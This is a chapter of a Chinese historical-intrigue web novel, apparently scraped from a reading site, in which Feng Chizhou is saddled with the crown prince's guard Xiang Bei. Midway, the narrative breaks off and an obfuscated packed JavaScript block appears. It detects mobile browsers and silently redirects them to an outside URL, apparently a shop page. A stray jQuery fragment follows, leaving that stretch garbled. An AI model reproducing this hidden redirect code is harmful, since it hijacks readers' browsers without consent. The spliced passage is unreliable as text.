默认冷灰
24号文字
方正启体

13. 第 13 章

作者:灯笼月本书字数:K更新时间:
    然而侍女还没找着,身处北镇抚司的风池舟就又收到了一个消息。


    ——狄阚死了。


    同样死于家中书房,同样死于大火。大火同样烧了半个时辰才灭,甚至起火时间同样为午时。


    种种巧合难以忽略。


    只是不知究竟为同一凶手还是模仿作案。


    太子还请人来邀她平江楼小叙。宫里又下了后日腊八节宫宴的帖子。


    风池舟觉得自己就算是个八爪鱼也抓不过来。


    风池舟疲惫地走进平江楼天字一号房,定睛一看,屋里除了太子,还有两人——


    宁远和向北。


    太子今日的态度倒是要比上次好很多,他先是指了指宁远:“这位宁御史想必就不用我多介绍了,你们已经共事过一次了。”


    又指了指向北:“这位是向北。听她说你们上次刘尚书府上已经交过手了?”


    风池舟眼眸微眯,神情中闪过一丝狐疑:“是前尚书了,他现在就是个死人。所以他其实根本不是庆王的人。”


    太子折扇一开,被风池舟那样盯着也没有感觉到丝毫不自在,甚至坐姿更放肆悠哉了:“啊呀,你看这事儿搞得,我忘了提前告诉你一声了。”


    怪不得宁远当初以太子名义去试图接近刘春时他丝毫不为所动。


    风池舟没再追问赌场与拐卖幼女一事是否也与太子有关——依照太子品性,既然确定了刘春是他的人,那这两件事几乎是板上钉钉。


    她拼力忍住自己的拳头,冷冷盯着太子,唇角勉强裂出一个微笑。在漠北被养出来的杀气此刻已经隐隐外露:“殿下当时既然叫了向北来阻止我,何不直接像今日这般派人来给我传信?还是那句话,殿下既不信我,又何必与我合作?”


    “此话差矣。长平,我自是信你的,毕竟我知道你只是想回西北,三弟那个蠢货单独在京城里可是难有什么好下场。可你自幼与他相熟,就连向我投诚时都要求我定要护他周全。我虽信你,却也深知人心隔肚皮的道理,有所提防也是人之常情。”


    阴险、狡诈、老狐狸。


    风池舟每次跟太子对上心里都这么吐槽。


    这人就跟吐着信子的毒蛇一样,看起来华丽漂亮,实则手一摸上去就是一片阴凉粘腻,最重要的是,有毒。


    但是她觉得太子不只是有毒,还有病。


    他自打年少时落过一次水之后就变成了这样。当时还是自己把他救上来的,结果他刚醒就掐脖子,要不是自己力气大给他掰扯下来了,现在早就投胎转世了!


    要不是某人说她现在不便出面,自己至于在这儿虚与委蛇?


    可是心里想想就算了,路是自己选的。她自己要表面帮庆王,暗地里跟着太子,实则东家另有其人的。


    换个角度看,太子也没怀疑错不是?


    宁远在一旁看着风池舟咬牙切齿,又心疼又无奈。


    风池舟让他投靠太子,可是太子不信风池舟,自然也不信他。


    但现在也不是暴露自己和风池舟是一条船上的人的时候,只能在旁边默默看着,打碎了牙往独自里咽。


    然后就感觉自己挨了一记眼刀,他顺势看去,发现是太子带来的那位名唤“向北”的暗卫在瞪自己。


    宁远还在感慨自己怎么莫名其妙的躺着也中刀,风池舟就已经敛去杀气接着开口了:“殿下所言甚是。说到底长平也就是给殿下做事的,只要对殿下有用就行,至于其他,我不多问。”


    太子折扇一合,喜笑颜开:“诶,话也不是这么说的——不过呢,你明白这个理就好。”


    他又拿扇子指了指向北的方向,道:“我今早听闻狄阚狄大人也去世了,作案手法与吴十烟相似。此案父皇交由你彻查,你说那凶手要是盯上你了要对你下手怎么办,这不我特地——”


    “不劳太子殿下费心,我身手好得很。”


    “知道你勇冠三军,百里之外可取敌方首级,不过人总有疏漏的时候,所以我特地将我的暗卫交给你,暗中护你,如何?”


    陈五王六陆七!你们快来啊——


    风池舟皮笑肉不笑,却深知无论心中如何祈祷也没有用处。


    如果刘春案当时太子提议给她个暗卫的话,风池舟还能出言拒绝:陛下已经派遣锦衣卫相护,不劳殿下费心。


    可偏偏此番昌元帝没有在她身边放锦衣卫。向北还是个女子,也没有“女女授受不亲”的道理。


    真是打得一手好算盘。


    比起风池舟,太子才是皮笑肉不笑的一把好手,知道她找不到理由拒绝,也不着急,就安安静静等着她开口答应。


    “如此,那便多谢殿下美意了。”


    风池舟推开门走出去,长街覆雪,入眼一片雪白,延伸至道路尽头。


    路上没有什么行人,向北就紧跟在她身后不说话,还是风池舟先捅破了这层窗户纸:“咱们以前是不是见过。”


    “没有。”


    “当真没有?那你上次为何说我“不减当年”?不减哪年?”风池舟吊儿郎当逗她。


    其实她只是好奇向北这个人。


    她冷淡、惜字如金、身手极好,是太子的人。可这些都是表面的。


    上次一见,风池舟大可一刀刺下,永绝后患。可向北对她虽有敌意却无杀意,于是她也就没落刀。


    最奇怪的是,风池舟对她有一股说不清道不明的熟悉感。


    不是长相,不是声音。


    可向北却不理她了。


    “说句话呗向北。话说你为什么叫这个名字啊?是你自己取得名字吗?”


    向北似乎不胜其烦,冷冷开口,依旧惜字如金:“不是。”


    “你母亲取的吗?这个名字真特别。”


    “嗯。”


    “我真觉得咱俩见过。我总觉得不是第一次见你。”


    “第二次。”


    “......”风池舟自认不是特别健谈的人,此刻有些力竭:“我是说上次......”


    “错觉。”


    “诶,你多大了,是哪里人啊?”


    问道这里,风池舟明显感觉到向北顿了一下才说:“十九,济州。”


    “我小时候还去过济州呢,说不定咱俩真见过。”


    “没有。”


    在太子那里耽搁了半天,风池舟带着向北回北镇抚司的时候,毫不意外收获了一堆目光。


    “郡主今天怎么带人来了?”


    “少见多怪,郡主前一阵都带何姑娘来的——诶?”


    “新人?没见过啊。殿下给点银子,不然可得小心我告诉何姑娘去。”


    最后一句话是陈五说的。


    王六和陆七最近都有任务,陈五赋闲在北镇抚司,便自请来跟着查案子。


    风池舟看看这群锦衣卫,又看看紧跟在她身后板着脸未执一言的向北,一个坏主意涌上心头。


    只见她轻挑眉梢,勾起唇角:“这是我从云州带回来的副将,怎么着,谁想跟她打一架?”


    从云州带回来的副将。


    风池舟在诈她。这是向北的第一反应。


    她眸孔瞬间紧缩,盯着人群里的风池舟——


    正


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351355|199605||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    肆意大笑着,笑话那些锦衣卫们怎么真信了。


    是了,怎么真就信了。风池舟一向是这般恶劣的性子,嘴里没一句实话。


    什么诈不诈的,她也根本不会将自己放在眼里。


    于是向北缓缓开口,声音像是浸了寒霜一般:“我是殿下的……侍女。”


    陈五:“啊?殿下身边啥时候需要侍女了?”


    风池舟随手塞给她五两银子:“行了行了,别难为我俩了,银子给你,去买零嘴吃吧!”


    陈五爽快拿钱走人。


    风池舟拍拍向北肩头,示意她往屋里走。


    “话说在前头,吴十烟这案子蹊跷,太子既然将你交到我这儿,你的吃穿住行就要我负责了。我不需要你护我,可你也不能白吃我燕王府的粮食,得帮我干活啊。”


    “……我有钱,不用你负责。”


    “放心啊,我还没穷到要‘侍女’自己找地儿住、找饭吃的份儿上。”


    “什么活。”


    “你去帮我找一个人。”


    “不行。太子说我要寸步不离地保护你。”


    ……行,没忽悠住。监视就监视,说那么好听干嘛。


    风池舟也不跟她啰嗦,左手扳过她的左肩把她转了半圈背对着自己,右手合住她手腕扣在身后,膝盖顶住她腿弯,将她抵在了墙上。


    “干不干活?不干活我就把你锁屋里。”


    向北也不知道躲起来,就干巴巴硬戳戳杵在她身边,看着糟心不说,逢人就得介绍一下身份,怪麻烦的。


    向北未答,右肩往后一怼,竟是硬生生靠着蛮力从风池舟的掣肘下逃出来了——一半。


    风池舟膝盖一使劲,又将她抓回去:“你很厉害,但是实战经验太不丰富了。我再问一遍,干不干活?”


    其实庆王有时候说风池舟像个兵痞子是没有说错的。


    她从十岁起就长在军营,十四岁上战场,十七岁开始带兵。


    她身上带着云州风沙黄土里磨练出来的莽,平时被隐藏得很好,可事物摆脱掌控时,这股劲儿就显露出来了。


    可向北似乎并没被她唬住:“太子说,我要寸步不离地保护你。”


    要不说风池舟最烦这种硬骨头呢。


    又犟,又死心眼。


    引得风池舟暴脾气都快上来了。她长呼一口气,将脾气压下去:“你帮我找人,我快点结案,你也好早日完工休息。这不两全其美,就同当日刘府一样,怎么当时乐意,如今不乐意了?”


    “不一样。”


    “哪不一样了?”


    “当日太子只说让我在刘府护院,没说阻你,可今日太子说要我——”


    “要你寸步不离保护我。没别的话了?我都会背了。油盐不进。太子给你什么好处?”


    太子什么好处都没给她。


    向北帮太子干一天事,太子给她二两银子,等价交易,童叟无欺。


    太子不会交给她重要事情,她也不会对太子忠心不二。


    她就是单纯的,不想顺风池舟心意。


    就算她真的把自己绑起来……


    “行了,你就老实在屋里呆着吧。”风池舟打完最后一个绳结,“以你的本事,一盏茶时间可以挣脱;以我的本事,保证你找到我时已经日落西山。”


    向北还是一副冷冷的、铁骨铮铮的模样,只是淡淡地剜了风池舟一眼。


    风池舟也没恼——自己将人绑上了,被瞪也是意料之中。


    她挥挥手,朗声告别:“我走了啊向北,等你找着我,咱们一块儿打道回府吃晚饭啊!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)